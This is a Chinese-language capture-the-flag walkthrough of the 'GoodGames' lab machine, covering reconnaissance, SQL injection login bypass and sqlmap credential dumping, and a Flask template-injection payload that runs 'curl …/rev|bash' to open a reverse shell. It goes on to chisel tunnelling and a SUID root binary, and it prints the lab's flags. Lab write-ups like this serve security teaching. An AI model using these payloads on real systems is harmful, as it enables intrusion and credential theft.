[Meachines] [Easy] GoodGames SQLI+Flask SSTI+Docker逃逸权限提升
字数 913 2025-08-22 12:23:41
GoodGames 渗透测试教学文档
1. 信息收集阶段
1.1 端口扫描
使用masscan进行快速端口扫描:
sudo masscan -p1-65535,U:1-65535 10.10.11.130 --rate=1000 -p1-65535,U:1-65535 -e tun0 > /tmp/ports
使用nmap进行详细服务扫描:
ports=$(cat /tmp/ports | awk -F " " '{print $4}' | awk -F "/" '{print $1}' | sort -n | tr '\n' ',' | sed 's/,$//')
nmap -Pn -sV -sC -p$ports 10.10.11.130
扫描结果显示:
- 80/tcp open http Apache httpd 2.4.51
- 服务器头信息: Werkzeug/2.0.2 Python/3.9.2
- 主机名: goodgames.htb
1.2 子域名枚举
使用ffuf进行子域名爆破:
ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
-u http://FUZZ.goodgames.htb -H "Host: FUZZ.goodgames.htb" -ac
发现内部管理子域名:
echo '10.10.11.130 internal-administration.goodgames.htb' >> /etc/hosts
2. SQL注入攻击
2.1 发现SQL注入点
在登录表单中发现SQL注入漏洞:
email=1%40gmail.com'--+&password=123
email=1%40gmail.com'%20OR%20'1'='1'--+&password=123
2.2 使用sqlmap自动化利用
创建请求文件(sqli):
POST /login HTTP/1.1
Host: goodgames.htb
Content-Type: application/x-www-form-urlencoded
email=1%40gmail.com*&password=123
使用sqlmap进行注入:
sqlmap -r sqli -p email --batch
sqlmap -r sqli -p email --batch -D main -T user --dump
获取到管理员凭据:
- email: admin@goodgames.htb
- username: admin
- password: superadministrator
3. Flask SSTI注入
3.1 访问内部管理面板
使用获取的凭据登录内部管理面板:
http://internal-administration.goodgames.htb/login
3.2 发现SSTI漏洞
在设置页面测试模板注入:
POST /settings HTTP/1.1
Host: internal-administration.goodgames.htb
Content-Type: application/x-www-form-urlencoded
name={{9*9}}
确认存在SSTI后,执行命令:
name={{config.__class__.__init__.__globals__['os'].popen('curl%20http://10.10.16.16/rev|bash').read()}}
获取反向shell后找到user flag:
388118f20c90df4d38744d9ac624dd43
4. Docker逃逸提权
4.1 建立隧道
服务器端:
chisel server -p 8000 --reverse
客户端:
./chisel_1.10.1_linux_amd64 client 10.10.16.16:8000 R:localhost:1080:socks
4.2 网络探测
使用自定义脚本进行内网探测:
./host_discovery.sh 172.19.0
发现172.19.0.1主机。
4.3 SSH连接
通过代理连接:
sudo proxychains -f 10.10.11.130.conf ssh augustus@172.19.0.1
4.4 创建SUID二进制文件
编写C程序:
#include <stdio.h>
#include <stdlib.h>
int main() {
setuid(0);
system("/bin/bash");
}
编译并设置SUID:
wget http://10.10.16.16/suid.c
gcc suid.c -o suid
chmod u+s suid
执行获取root权限:
./suid
获取root flag:
a42c76fe28f8a2556fa7e8794f133c15
5. 关键知识点总结
-
信息收集:masscan快速扫描+nmap详细扫描组合使用,子域名枚举技巧
-
SQL注入:
- 手工测试注入点
- sqlmap自动化利用
- 数据提取技术
-
SSTI注入:
- Flask模板注入检测
- Python沙箱逃逸
- 远程代码执行
-
Docker逃逸:
- 内网探测技术
- 隧道建立方法
- SUID提权技术
-
权限提升:
- 编写SUID程序
- 编译与权限设置
- 本地提权执行
6. 防御建议
- 对用户输入进行严格过滤和参数化查询
- 禁用或限制模板引擎的动态执行功能
- 定期更新Docker和容器环境
- 限制容器内用户的权限
- 监控异常网络连接和特权操作